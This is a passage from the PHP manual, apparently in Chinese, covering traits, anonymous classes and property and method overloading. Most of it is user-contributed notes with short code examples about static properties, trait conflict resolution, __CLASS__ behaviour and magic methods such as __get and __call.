        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }
}

trait DuplicateTrait {
    public function duplMethod() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }

    public static function duplStatic() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }
}

abstract class AbstractClass {

    use DuplicateTrait;

    public function absMethod() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }

    public static function absStatic() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }
}

class BaseClass extends AbstractClass {
    use TestTrait;
}

class TestClass extends BaseClass { }

$t = new TestClass();

$t->testMethod();
TestClass::testStatic();

$t->absMethod();
TestClass::absStatic();

$t->duplMethod();
TestClass::duplStatic();

?>

Will output:

Class: BaseClass     | get_class(): BaseClass     | get_called_class(): TestClass
Class: BaseClass     | get_class(): BaseClass     | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass

Since Traits are considered literal "copying/pasting" of code, it's clear how the methods defined in DuplicateTrait give the same results as the methods defined in AbstractClass.
cody at codysnider dot com 30-Mar-2017 03:05
/*
DocBlocks pertaining to the class or trait will NOT be carried over when applying the trait.

Results trying a couple variations on classes with and without DocBlocks that use a trait with a DocBlock
*/

<?php

/**
 * @Entity
 */
trait Foo
{
    protected $foo;
}

/**
 * @HasLifecycleCallbacks
 */
class Bar
{
    use \Foo;

    protected $bar;
}

class MoreBar
{
    use \Foo;

    protected $moreBar;
}

$w = new \ReflectionClass('\Bar');
echo $w->getName() . ":\r\n";
echo $w->getDocComment() . "\r\n\r\n";

$x = new \ReflectionClass('\MoreBar');
echo $x->getName() . ":\r\n";
echo $x->getDocComment() . "\r\n\r\n";

$barObj = new \Bar();
$y = new \ReflectionClass($barObj);
echo $y->getName() . ":\r\n";
echo $y->getDocComment() . "\r\n\r\n";

foreach($y->getTraits() as $traitObj) {
    echo $y->getName() . " ";
    echo $traitObj->getName() . ":\r\n";
    echo $traitObj->getDocComment() . "\r\n";
}

$moreBarObj = new \MoreBar();
$z = new \ReflectionClass($moreBarObj);
echo $z->getName() . " ";
echo $z->getDocComment() . "\r\n\r\n";

foreach($z->getTraits() as $traitObj) {
    echo $z->getName() . " ";
    echo $traitObj->getName() . ":\r\n";
    echo $traitObj->getDocComment() . "\r\n";
}
marko at newvibrations dot net 13-Oct-2016 12:51
As already noted, static properties and methods in trait could be accessed directly using trait. Since trait is language assisted c/p, you should be aware that static property from trait will be initialized to the value trait property had in the time of class declaration.

Example:

<?php

trait Beer {
    protected static $type = 'Light';
    public static function printed(){
        echo static::$type.PHP_EOL;
    }
    public static function setType($type){
        static::$type = $type;
    }
}

class Ale {
    use Beer;
}

Beer::setType("Dark");

class Lager {
    use Beer;
}

Beer::setType("Amber");

header("Content-type: text/plain");

Beer::printed();  // Prints: Amber
Ale::printed();   // Prints: Light
Lager::printed(); // Prints: Dark

?>
canufrank 10-Sep-2016 06:57
A number of the notes make incorrect assertions about trait behaviour because they do not extend the class.

So, while "Unlike inheritance; if a trait has static properties, each class using that trait has independent instances of those properties.

Example using parent class:
<?php
class TestClass {
    public static $_bar;
}
class Foo1 extends TestClass { }
class Foo2 extends TestClass { }
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: World World
?>

Example using trait:
<?php
trait TestTrait {
    public static $_bar;
}
class Foo1 {
    use TestTrait;
}
class Foo2 {
    use TestTrait;
}
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: Hello World
?>"

shows a correct example, simply adding
<?php
require_once('above');
class Foo3 extends Foo2 {
}
Foo3::$_bar = 'news';
echo Foo1::$_bar . ' ' . Foo2::$_bar . ' ' . Foo3::$_bar;

// Prints: Hello news news

I think the best conceptual model of an incorporated trait is an advanced insertion of text, or as someone put it "language assisted copy and paste." If Foo1 and Foo2 were defined with $_bar, you would not expect them to share the instance. Similarly, you would expect Foo3 to share with Foo2, and it does.

Viewing this way explains away a lot of  the 'quirks' that are observed above with final, or subsequently declared private vars,
Carlos Alberto Bertholdo Carucce 29-Mar-2016 06:17
If you want to resolve name conflicts and also change the visibility of a trait method, you'll need to declare both in the same line:

trait testTrait{

    public function test(){
        echo 'trait test';
    }

}

class myClass{

    use testTrait {
        testTrait::test as private testTraitF;
    }

    public function test(){
        echo 'class test';
        echo '<br/>';
        $this->testTraitF();
    }

}

$obj = new myClass();
$obj->test(); //prints both 'trait test' and 'class test'
$obj->testTraitF(); //The method is not accessible (Fatal error: Call to private method myClass::testTraitF() )
balbuf 25-Jan-2016 03:50
(It's already been said, but for the sake of searching on the word "relative"...)

The "use" keyword to import a trait into a class will resolve relative to the current namespace and therefore should include a leading slash to represent a full path, whereas "use" at the namespace level is always absolute.
qeremy (!) gmail 19-Mar-2015 10:48
Keep in mind; "final" keyword is useless in traits when directly using them, unlike extending classes / abstract classes.

<?php
trait Foo {
    final public function hello($s) { print "$s, hello!"; }
}
class Bar {
    use Foo;
    // Overwrite, no error
    final public function hello($s) { print "hello, $s!"; }
}

abstract class Foo {
    final public function hello($s) { print "$s, hello!"; }
}
class Bar extends Foo {
    // Fatal error: Cannot override final method Foo::hello() in ..
    final public function hello($s) { print "hello, $s!"; }
}
?>

But this way will finalize trait methods as expected;

<?php
trait FooTrait {
    final public function hello($s) { print "$s, hello!"; }
}
abstract class Foo {
    use FooTrait;
}
class Bar extends Foo {
    // Fatal error: Cannot override final method Foo::hello() in ..
    final public function hello($s) { print "hello, $s!"; }
}
?>
84td84 at gmail dot com 17-Mar-2015 01:46
A note to 'Beispiel #9 Statische Variablen'. A trait can also have a static property:

trait Counter {
    static $trvar=1;

    public static function stfunc() {
        echo "Hello world!"
    }
}

class C1 {
    use Counter;
}

print "\nTRVAR: " . C1::$trvar . "\n";   //prints 1

$obj = new C1();
C1::stfunc();   //prints  Hello world!
$obj->stfunc();   //prints Hello world!

A static property (trvar) can only be accessed using the classname (C1).
But a static function (stfunc) can be accessed using the classname or the instance ($obj).
Kristof 30-May-2014 11:18
don't forget you can create complex (embedded) traits as well

<?php
trait Name {
  // ...
}
trait Address {
  // ...
}
trait Telephone {
  // ...
}
trait Contact {
  use Name, Address, Telephone;
}
class Customer {
  use Contact;
}
class Invoce {
  use Contact;
}
?>
qschuler at neosyne dot com 14-Feb-2014 08:31
Note that you can omit a method's inclusion by excluding it from one trait in favor of the other and doing the exact same thing in the reverse way.

<?php

trait A {
    public function sayHello()
    {
        echo 'Hello from A';
    }

    public function sayWorld()
    {
        echo 'World from A';
    }
}

trait B {
    public function sayHello()
    {
        echo 'Hello from B';
    }

    public function sayWorld()
    {
        echo 'World from B';
    }
}

class Talker {
    use A, B {
        A::sayHello insteadof B;
        A::sayWorld insteadof B;
        B::sayWorld insteadof A;
    }
}

$talker = new Talker();
$talker->sayHello();
$talker->sayWorld();

?>

The method sayHello is imported, but the method sayWorld is simply excluded.
Stefan W 22-Aug-2013 10:03
Note that the "use" operator for traits (inside a class) and the "use" operator for namespaces (outside the class) resolve names differently. "use" for namespaces always sees its arguments as absolute (starting at the global namespace):

<?php
namespace Foo\Bar;
use Foo\Test;  // means \Foo\Test - the initial \ is optional
?>

On the other hand, "use" for traits respects the current namespace:

<?php
namespace Foo\Bar;
class SomeClass {
    use Foo\Test;   // means \Foo\Bar\Foo\Test
}
?>

Together with "use" for closures, there are now three different "use" operators. They all mean different things and behave differently.
Oddant 29-May-2013 03:10
I think it's obvious to notice that using 'use' followed by the traits name must be seen as just copying/pasting lines of code into the place where they are used.
D. Marti 01-Nov-2012 03:25
Traits are useful for strategies, when you want the same data to be handled (filtered, sorted, etc) differently.

For example, you have a list of products that you want to filter out based on some criteria (brands, specs, whatever), or sorted by different means (price, label, whatever). You can create a sorting trait that contains different functions for different sorting types (numeric, string, date, etc). You can then use this trait not only in your product class (as given in the example), but also in other classes that need similar strategies (to apply a numeric sort to some data, etc).

<?php
trait SortStrategy {
    private $sort_field = null;
    private function string_asc($item1, $item2) {
        return strnatcmp($item1[$this->sort_field], $item2[$this->sort_field]);
    }
    private function string_desc($item1, $item2) {
        return strnatcmp($item2[$this->sort_field], $item1[$this->sort_field]);
    }
    private function num_asc($item1, $item2) {
        if ($item1[$this->sort_field] == $item2[$this->sort_field]) return 0;
        return ($item1[$this->sort_field] < $item2[$this->sort_field] ? -1 : 1 );
    }
    private function num_desc($item1, $item2) {
        if ($item1[$this->sort_field] == $item2[$this->sort_field]) return 0;
        return ($item1[$this->sort_field] > $item2[$this->sort_field] ? -1 : 1 );
    }
    private function date_asc($item1, $item2) {
        $date1 = intval(str_replace('-', '', $item1[$this->sort_field]));
        $date2 = intval(str_replace('-', '', $item2[$this->sort_field]));
        if ($date1 == $date2) return 0;
        return ($date1 < $date2 ? -1 : 1 );
    }
    private function date_desc($item1, $item2) {
        $date1 = intval(str_replace('-', '', $item1[$this->sort_field]));
        $date2 = intval(str_replace('-', '', $item2[$this->sort_field]));
        if ($date1 == $date2) return 0;
        return ($date1 > $date2 ? -1 : 1 );
    }
}

class Product {
    public $data = array();

    use SortStrategy;

    public function get() {
        // do something to get the data, for this ex. I just included an array
        $this->data = array(
            101222 => array('label' => 'Awesome product', 'price' => 10.50, 'date_added' => '2012-02-01'),
            101232 => array('label' => 'Not so awesome product', 'price' => 5.20, 'date_added' => '2012-03-20'),
            101241 => array('label' => 'Pretty neat product', 'price' => 9.65, 'date_added' => '2012-04-15'),
            101256 => array('label' => 'Freakishly cool product', 'price' => 12.55, 'date_added' => '2012-01-11'),
            101219 => array('label' => 'Meh product', 'price' => 3.69, 'date_added' => '2012-06-11'),
        );
    }

    public function sort_by($by = 'price', $type = 'asc') {
        if (!preg_match('/^(asc|desc)$/', $type)) $type = 'asc';
        switch ($by) {
            case 'name':
                $this->sort_field = 'label';
                uasort($this->data, array('Product', 'string_'.$type));
            break;
            case 'date':
                $this->sort_field = 'date_added';
                uasort($this->data, array('Product', 'date_'.$type));
            break;
            default:
                $this->sort_field = 'price';
                uasort($this->data, array('Product', 'num_'.$type));
        }
    }
}

$product = new Product();
$product->get();
$product->sort_by('name');
echo '<pre>'.print_r($product->data, true).'</pre>';
?>
artur at webprojektant dot pl 28-Sep-2012 06:10
Trait can not have the same name as class because it will  show: Fatal error: Cannot redeclare class
t8 at AT pobox dot com 23-Jul-2012 08:17
Another difference with traits vs inheritance is that methods defined in traits can access methods and properties of the class they're used in, including private ones.

For example:
<?php
trait MyTrait
{
  protected function accessVar()
  {
    return $this->var;
  }

}

class TraitUser
{
  use MyTrait;

  private $var = 'var';

  public function getVar()
  {
    return $this->accessVar();
  }
}

$t = new TraitUser();
echo $t->getVar(); // -> 'var'

?>
ryan at derokorian dot com 15-Apr-2012 02:03
Simple singleton trait.

<?php

trait singleton {
    /**
     * private construct, generally defined by using class
     */
    //private function __construct() {}

    public static function getInstance() {
        static $_instance = NULL;
        $class = __CLASS__;
        return $_instance ?: $_instance = new $class;
    }

    public function __clone() {
        trigger_error('Cloning '.__CLASS__.' is not allowed.',E_USER_ERROR);
    }

    public function __wakeup() {
        trigger_error('Unserializing '.__CLASS__.' is not allowed.',E_USER_ERROR);
    }
}

/**
 * Example Usage
 */

class foo {
    use singleton;

    private function __construct() {
        $this->name = 'foo';
    }
}

class bar {
    use singleton;

    private function __construct() {
        $this->name = 'bar';
    }
}

$foo = foo::getInstance();
echo $foo->name;

$bar = bar::getInstance();
echo $bar->name;
Safak Ozpinar / safakozpinar at gmail 18-Mar-2012 03:03
Unlike inheritance; if a trait has static properties, each class using that trait has independent instances of those properties.

Example using parent class:
<?php
class TestClass {
    public static $_bar;
}
class Foo1 extends TestClass { }
class Foo2 extends TestClass { }
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: World World
?>

Example using trait:
<?php
trait TestTrait {
    public static $_bar;
}
class Foo1 {
    use TestTrait;
}
class Foo2 {
    use TestTrait;
}
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: Hello World
?>
Edward 01-Mar-2012 03:29
The difference between Traits and multiple inheritance is in the inheritance part.   A trait is not inherited from, but rather included or mixed-in, thus becoming part of "this class".   Traits also provide a more controlled means of resolving conflicts that inevitably arise when using multiple inheritance in the few languages that support them (C++).  Most modern languages are going the approach of a "traits" or "mixin" style system as opposed to multiple-inheritance, largely due to the ability to control ambiguities if a method is declared in multiple "mixed-in" classes.

Also, one can not "inherit" static member functions in multiple-inheritance.
greywire at gmail dot com 16-Feb-2012 07:12
The best way to understand what traits are and how to use them is to look at them for what they essentially are:  language assisted copy and paste.

If you can copy and paste the code from one class to another (and we've all done this, even though we try not to because its code duplication) then you have a candidate for a trait.
chris dot rutledge at gmail dot com 21-Dec-2011 12:42
It may be worth noting here that the magic constant __CLASS__ becomes even more magical - __CLASS__ will return the name of the class in which the trait is being used.

for example

<?php
trait sayWhere {
    public function whereAmI() {
        echo __CLASS__;
    }
}

class Hello {
    use sayWHere;
}

class World {
    use sayWHere;
}

$a = new Hello;
$a->whereAmI(); //Hello

$b = new World;
$b->whereAmI(); //World
?>

The magic constant __TRAIT__ will giev you the name of the trait


匿名类

匿名类很有用，可以创建一次性的简单对象。

<?php

// 使用显性类
class Logger
{
public function log($msg)
{
echo $msg;
}
}

$util->setLogger(new Logger());

// 使用匿名类
$util->setLogger(new class {
public function log($msg)
{
echo $msg;
}
});

可以传递参数到匿名类的构造器，也可以扩展（extend）其他类、实现接口（implement interface），以及像其他普通的类一样使用 trait：

<?php

class SomeClass {}
interface SomeInterface {}
trait SomeTrait {}

var_dump(new class(10) extends SomeClass implements SomeInterface {
private $num;

public function __construct($num)
{
$this->num = $num;
}

use SomeTrait;
});

以上示例会输出：

object(class@anonymous)#1 (1) {
  ["Command line code0x104c5b612":"class@anonymous":private]=>
  int(10)
}

匿名类被嵌套进普通 Class 后，不能访问这个外部类（Outer class）的 private（私有）、protected（受保护）方法或者属性。 为了访问外部类（Outer class）protected 属性或方法，匿名类可以 extend（扩展）此外部类。 为了使用外部类（Outer class）的 private 属性，必须通过构造器传进来：

<?php

class Outer
{
private $prop = 1;
protected $prop2 = 2;

protected function func1()
{
return 3;
}

public function func2()
{
return new class($this->prop) extends Outer {
private $prop3;

public function __construct($prop)
{
$this->prop3 = $prop;
}

public function func3()
{
return $this->prop2 + $this->prop3 + $this->func1();
}
};
}
}

echo (new Outer)->func2()->func3();

以上示例会输出：

6

声明的同一个匿名类，所创建的对象都是这个类的实例。

<?php
function anonymous_class()
{
return new class {};
}

if (get_class(anonymous_class()) === get_class(anonymous_class())) {
echo 'same class';
} else {
echo 'different class';
}

以上示例会输出：

same class

Note:

注意，匿名类的名称是通过引擎赋予的，如下例所示。 由于实现的细节，不应该去依赖这个类名。

<?php
echo get_class(new class {});

以上示例的输出类似于：

class@anonymous/in/oNi1A0x7f8636ad2021

User Contributed Notes

razvan_bc at yahoo dot com 09-Mar-2020 05:27
you can try these

<?php

$oracle=&$_['nice_php'];
$_['nice_php']=(function(){
    return new class{
        public static function say($msg){
            echo $msg;
        }

        public static function sp(){
            echo self::say(' ');
        }

    };
});

/*
$_['nice_php']()::say('Hello');
$_['nice_php']()::sp();
$_['nice_php']()::say('World');
$_['nice_php']()::sp();
$_['nice_php']()::say('!');
//almost the same code bottom
*/

$oracle()::say('Hello');
$oracle()::sp();
$oracle()::say('World');
$oracle()::sp();
$oracle()::say('!');
?>
joey 09-Jul-2019 04:54
The only way to type hint this would appear to be as object.

If you need multiple instances of an anonymous class in a function you can use:

$class = function(string $arg):object {
    return new class($arg) {
        public function __construct(string $arg) {
            $this->ow = $arg;
        }
    };
};

Though for the sake of structure it's ill advised to do something like this outside of a single scope or that's used across multiple files. If you class is only used in one scope however then it's probably not a code mess problem.
sebastian.wasser at gmail 12-Feb-2019 12:14
I wanted to share my findings on static properties of anonymous classes.

So, given an anonymous class' object generating function like this:

<?php
function nc () {
    return new class {
        public static $prop = [];
    };
}
?>

Getting a new object and changing the static property:

<?php
$a = nc();
$a::$prop[] = 'a';

var_dump($a::$prop);
// array(1) {
//   [0] =>
//   string(1) "a"
// }
?>

Now getting another object and changing the static property will change the original one, meaning that the static property is truly static:

<?php
$b = nc();
$b::$prop[] = 'b';

var_dump($b::$prop); // Same as var_dump($a::$prop);
// array(2) {
//   [0] =>
//   string(1) "a"
//   [1] =>
//   string(1) "b"
// }

assert($a::$prop === $b::$prop); // true
?>
solobot 07-Nov-2017 01:33
eval() is workaround for generating multiple anonymous classes with static properties in loop
<?php
public function generateClassMap()
    {
        foreach ($this->classMap as $tableName => $class)
        {
            $c = null;
            eval('$c = new class extends \common\MyStaticClass {
                public static $tableName;
                public static function tableName()
                {
                    return static::$tableName;
                }
            };');
            $c::$tableName = $this->replicationPrefix.$tableName;
            $this->classMap[$tableName] = $c;

        }
    }
?>
thus every class will have its own $tableName instead of common ancestor.
j.m \ jamesweb \ ca 04-Oct-2017 12:21
/* I like the idea of OneShot classes.
Thanks to that Anonymous bro\sist for precising
new class( $a, $b )
ˉˉˉˉˉˉˉˉˉ

If you are looking for "Delayed OneShot Anonymous Classes" for any reason (like the reason: loading files in a readable manner while not using autoload), it would probably look something like this; */

$u = function()use(&$u){
    $u = new class{private $name = 'Utils';};
};

$w = function(&$rewrite)use(&$w){
    $w = null;
    $rewrite = new class{private $name = 'DataUtils';};
};

// Usage;
var_dump(
    array(
        'Delayed',
        '( Self Destructive )',
        'Anonymous Class Creation',
        array(
            'Before ( $u )' => $u,
            'Running ( $u() )' => $u(),
            'After ( $u )' => $u,
        ),
        0,0,
        0,0,
        0,0,
        'Delayed',
        '( Overwriting && Self Destructive )',
        'Anonymous Class Creation',
        array(
            'Before ( $w )' => $w,
            'Running ( $w($u) )' => $w($u),
            'After ( $w )' => $w,
            'After ( $u )' => $u
        )
    )
);

// btw : oh shoot I failed a spam challenge
ytubeshareit at gmail dot com 06-May-2017 01:59
Anonymous classes are syntax sugar that may appear deceiving to some.
The 'anonymous' class is still parsed into the global scope, where it is auto assigned a name, and every time the class is needed, that global class definition is used.  Example to illustrate....

The anonymous class version...
<?php

function return_anon(){
    return new class{
         public static $str="foo";
    };
}
$test=return_anon();
echo $test::$str; //ouputs foo

//we can still access the 'anon' class directly in the global scope!
$another=get_class($test); //get the auto assigned name
echo $another::$str;    //outputs foo
?>

The above is functionally the same as doing this....
<?php
class I_named_this_one{
    public static $str="foo";
}
function return_not_anon(){
    return 'I_named_this_one';
}
$clzz=return_not_anon();//get class name
echo $clzz::$str;
?>
piotr at maslosoft dot com 26-Apr-2017 05:47
Please note that class name returned by `get_class` might contain null bytes, as is the case in my version of PHP (7.1.4).

Name will change when class starting line or it's body is changed.

Yes, name is implementation detail that should not be relied upon, but in some rare use cases it is required (annotating anonymous class).
primipilus13 at gmail dot com 26-Sep-2016 07:02
<?php

// using constructor and extends in anonymous class

class A
{
    private $name;

    public function __construct($name)
    {
        $this->name = $name;
    }

    public function getName()
    {
        return $this->name;
    }
}

$b = new class('anonymous') extends A
{
    public function getName()
    {
        return parent::getName() . ' class';
    }
};

echo $b->getName(), PHP_EOL;

// result: anonimous class
Anonymous 25-Mar-2016 06:52
Below three examples describe anonymous class with very simple and basic but quite understandable example

<?php
// First way - anonymous class assigned directly to variable
$ano_class_obj = new class{
    public $prop1 = 'hello';
    public $prop2 = 754;
    const SETT = 'some config';

    public function getValue()
    {
        // do some operation
        return 'some returned value';
    }

    public function getValueWithArgu($str)
    {
        // do some operation
        return 'returned value is '.$str;
    }
};

echo "\n";

var_dump($ano_class_obj);
echo "\n";

echo $ano_class_obj->prop1;
echo "\n";

echo $ano_class_obj->prop2;
echo "\n";

echo $ano_class_obj::SETT;
echo "\n";

echo $ano_class_obj->getValue();
echo "\n";

echo $ano_class_obj->getValueWithArgu('OOP');
echo "\n";

echo "\n";

// Second way - anonymous class assigned to variable via defined function
$ano_class_obj_with_func = ano_func();

function ano_func()
{
    return new class {
        public $prop1 = 'hello';
        public $prop2 = 754;
        const SETT = 'some config';

        public function getValue()
        {
            // do some operation
            return 'some returned value';
        }

        public function getValueWithArgu($str)
        {
            // do some operation
            return 'returned value is '.$str;
        }
    };
}

echo "\n";

var_dump($ano_class_obj_with_func);
echo "\n";

echo $ano_class_obj_with_func->prop1;
echo "\n";

echo $ano_class_obj_with_func->prop2;
echo "\n";

echo $ano_class_obj_with_func::SETT;
echo "\n";

echo $ano_class_obj_with_func->getValue();
echo "\n";

echo $ano_class_obj_with_func->getValueWithArgu('OOP');
echo "\n";

echo "\n";

// Third way - passing argument to anonymous class via constructors
$arg = 1; // we got it by some operation
$config = [2, false]; // we got it by some operation
$ano_class_obj_with_arg = ano_func_with_arg($arg, $config);

function ano_func_with_arg($arg, $config)
{
    return new class($arg, $config) {
        public $prop1 = 'hello';
        public $prop2 = 754;
        public $prop3, $config;
        const SETT = 'some config';

        public function __construct($arg, $config)
        {
            $this->prop3 = $arg;
            $this->config =$config;
        }

        public function getValue()
        {
            // do some operation
            return 'some returned value';
        }

        public function getValueWithArgu($str)
        {
            // do some operation
            return 'returned value is '.$str;
        }
    };
}

echo "\n";

var_dump($ano_class_obj_with_arg);
echo "\n";

echo $ano_class_obj_with_arg->prop1;
echo "\n";

echo $ano_class_obj_with_arg->prop2;
echo "\n";

echo $ano_class_obj_with_arg::SETT;
echo "\n";

echo $ano_class_obj_with_arg->getValue();
echo "\n";

echo $ano_class_obj_with_arg->getValueWithArgu('OOP');
echo "\n";

echo "\n";


重载

PHP所提供的重载（overloading）是指动态地创建类属性和方法。我们是通过魔术方法（magic methods）来实现的。

当调用当前环境下未定义或不可见的类属性或方法时，重载方法会被调用。本节后面将使用不可访问属性（inaccessible properties）和不可访问方法（inaccessible methods）来称呼这些未定义或不可见的类属性或方法。

所有的重载方法都必须被声明为 public。

Note:

这些魔术方法的参数都不能通过引用传递。

Note:

PHP中的重载与其它绝大多数面向对象语言不同。传统的重载是用于提供多个同名的类方法，但各方法的参数类型和个数不同。

属性重载

public __set(string $name, mixed $value): void
public __get(string $name): mixed
public __isset(string $name): bool
public __unset(string $name): void

在给不可访问（protected 或 private）或不存在的属性赋值时，__set() 会被调用。

读取不可访问（protected 或 private）或不存在的属性的值时，__get() 会被调用。

当对不可访问（protected 或 private）或不存在的属性调用 isset() 或 empty() 时，__isset() 会被调用。

当对不可访问（protected 或 private）或不存在的属性调用 unset() 时，__unset() 会被调用。

参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。

属性重载只能在对象中进行。在静态方法中，这些魔术方法将不会被调用。所以这些方法都不能被 声明为 static。将这些魔术方法定义为 static 会产生一个警告。

Note:

因为 PHP 处理赋值运算的方式，__set() 的返回值将被忽略。类似的, 在下面这样的链式赋值中，__get() 不会被调用：

 $a = $obj->b = 8;

Note:

PHP 不会在重载方法中再次调用本身。这意味着如果没有定义 foo 属性，在 __get() 中执行 return $this->foo 将会返回 null 并引发 E_WARNING，而不是再次调用 __get()。然而，重载方法可能会隐式调用其它重载方法（比如调用 __set() 触发 __get()）。

Example #1 使用 __get()，__set()，__isset() 和 __unset() 进行属性重载

<?php
class PropertyTest {
/** 被重载的数据保存在此 */
private $data = array();

/** 重载不能被用在已经定义的属性 */
public $declared = 1;

/** 只有从类外部访问这个属性时，重载才会发生 */
private $hidden = 2;

public function __set($name, $value)
{
echo "Setting '$name' to '$value'\n";
$this->data[$name] = $value;
}

public function __get($name)
{
echo "Getting '$name'\n";
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
}

$trace = debug_backtrace();
trigger_error(
'Undefined property via __get(): ' . $name .
' in ' . $trace[0]['file'] .
' on line ' . $trace[0]['line'],
E_USER_NOTICE);
return null;
}

public function __isset($name)
{
echo "Is '$name' set?\n";
return isset($this->data[$name]);
}

public function __unset($name)
{
echo "Unsetting '$name'\n";
unset($this->data[$name]);
}

/** 非魔术方法 */
public function getHidden()
{
return $this->hidden;
}
}

echo "<pre>\n";

$obj = new PropertyTest;

$obj->a = 1;
echo $obj->a . "\n\n";

var_dump(isset($obj->a));
unset($obj->a);
var_dump(isset($obj->a));
echo "\n";

echo $obj->declared . "\n\n";

echo "Let's experiment with the private property named 'hidden':\n";
echo "Privates are visible inside the class, so __get() not used...\n";
echo $obj->getHidden() . "\n";
echo "Privates not visible outside of class, so __get() is used...\n";
echo $obj->hidden . "\n";
?>

以上示例会输出：

Setting 'a' to '1'
Getting 'a'
1

Is 'a' set?
bool(true)
Unsetting 'a'
Is 'a' set?
bool(false)

1

Let's experiment with the private property named 'hidden':
Privates are visible inside the class, so __get() not used...
2
Privates not visible outside of class, so __get() is used...
Getting 'hidden'

Notice:  Undefined property via __get(): hidden in <file> on line 70 in <file> on line 29

方法重载

public __call(string $name, array $arguments): mixed
public static __callStatic(string $name, array $arguments): mixed

在对象中调用一个不可访问方法时，__call() 会被调用。

在静态上下文中调用一个不可访问方法时，__callStatic() 会被调用。

$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组，包含着要传递给方法 $name 的参数。

Example #2 使用 __call() 和 __callStatic() 对方法重载

<?php
class MethodTest
{
public function __call($name, $arguments)
{
// 注意: $name 的值区分大小写
echo "Calling object method '$name' "
. implode(', ', $arguments). "\n";
}

public static function __callStatic($name, $arguments)
{
// 注意: $name 的值区分大小写
echo "Calling static method '$name' "
. implode(', ', $arguments). "\n";
}
}

$obj = new MethodTest;
$obj->runTest('in object context');

MethodTest::runTest('in static context');
?>

以上示例会输出：

Calling object method 'runTest' in object context
Calling static method 'runTest' in static context

User Contributed Notes

johannes dot kingma at gmail dot com 18-Sep-2021 11:35
One interesting use of the __get function is property / function colaescence, using the same name for a property and a function.

Example:
<?php
class prop_fun {
    private $prop = 123;

    public function __get( $property ) {
        if( property_exists( $this, $property ) ){
            return $this-> $property;
        }
        throw new Exception( "no such property $property." );
    }
    public function prop() {
        return 456;
    }
}

$o = new prop_fun();

echo $o-> prop . '<br>' . PHP_EOL;
echo $o-> prop() . '<br>' . PHP_EOL;
?>

This will output 123 and 456. This does look like a funy cludge but I used it of a class containing a date type property and function allowing me to write

<?php
class date_class {
    /** @property int $date */
    private $the_date;

    public function __get( $property ) {
        if( property_exists( $this, $property ) ){
            return $this-> $property;
        }
        throw new Exception( "no such property $property." );
    }
    public function the_date( $datetime ) {
        return strtotime( $datetime, $this-> the_date );
    }

    public function __construct()    {
        $this-> the_date = time();
    }
}

$date_object = new date_class();

$today = $date_object-> the_date;
$nextyear = $date_object-> the_date("+1 year");

echo date( "d/m/Y", $today) . '<br>';
echo date( "d/m/Y", $nextyear );
?>

Which I like because its self documenting properties. I used this in a utility class for user input.
turabgarip at gmail dot com 27-Mar-2021 11:02
I concur that "overloading" is a wrong term for this functionality. But I disagree that this functionality is completely wrong. You can do "bad practice" with right code too.

For example __call() is very well applicable to external integration implementations which I am using to relay calls to SOAP methods which doesn't need local implementation. So you don't have to write "empty body" functions. Consider the SOAP service you connect has a "stock update" method. All you have to do is passing product code and stock count to SOAP.

<?php

class Inventory {

  public __construct() {
    // configure and connect to SOAP service
    $this->soap = new SoapClient();
  }

  public __call($soapMethod, $params) {
    $this->soap->{$soapMethod}(params);
  }
}

 // Now you can use any SOAP method without needing a wrapper
 $stock = new Inventory();
 $stock->updatePrice($product_id, 20);
 $stock->saveProduct($product_info);

?>

Of course you'd need a parameter mapping but it's in my honest opinion a lot better then having a plenty of mirror methods like:

<?php

class Inventory {

  public function updateStock($product_id, $stock) {
    $soapClient->updateStock($product_id, $stock;
  }
  public function updatePrice($product_id, $price) {
    $soapClient->updateStock($product_id, $price;
  }
  // ...
}

?>
justmyoponion at gmail dot com 05-Nov-2019 07:35
If you are not focused enough, then don't use it.
Otherwise it is very powerful and you can build very complex code that handle a lot of things like zend framework did.
pogregoire##live.fr 16-Sep-2016 04:17
It is important to understand that encapsulation can be very easily violated in PHP. for example :
class Object{

}

$Object = new Object();
$Objet->barbarianProperties  = 'boom';

var_dump($Objet);// object(Objet)#1 (1) { ["barbarianProperties"]=> string(7) "boom" }

Hence it is possible to add a propertie out form the class definition.
It is then a necessity in order to protect encapsulation to introduce __set() in the class :

class Objet{
    public function __set($name,$value){
        throw new Exception ('no');
    }
}
Anonymous 29-May-2016 10:13
First off all, if you read this, please upvote the first comment on this list that states that "overloading" is a bad term for this behaviour. Because it REALLY is a bad name. You're giving new definition to an already accepted IT-branch terminology.

Second, I concur with all criticism you will read about this functionality. Just as naming it "overloading", the functionality is also very bad practice. Please don't use this in a production environment. To be honest, avoid to use it at all. Especially if you are a beginner at PHP. It can make your code react very unexpectedly. In which case you MIGHT be learning invalid coding!

And last, because of __get, __set and __call the following code executes. Which is abnormal behaviour. And can cause a lot of problems/bugs.

<?php

class BadPractice {
  // Two real properties
  public $DontAllowVariableNameWithTypos = true;
  protected $Number = 0;
  // One private method
  private function veryPrivateMethod() { }
  // And three very magic methods that will make everything look inconsistent
  // with all you have ever learned about PHP.
  public function __get($n) {}
  public function __set($n, $v) {}
  public function __call($n, $v) {}
}

// Let's see our BadPractice in a production environment!
$UnexpectedBehaviour = new BadPractice;

// No syntax highlighting on most IDE's
$UnexpectedBehaviour->SynTaxHighlighting = false;

// No autocompletion on most IDE's
$UnexpectedBehaviour->AutoCompletion = false;

// Which will lead to problems waiting to happen
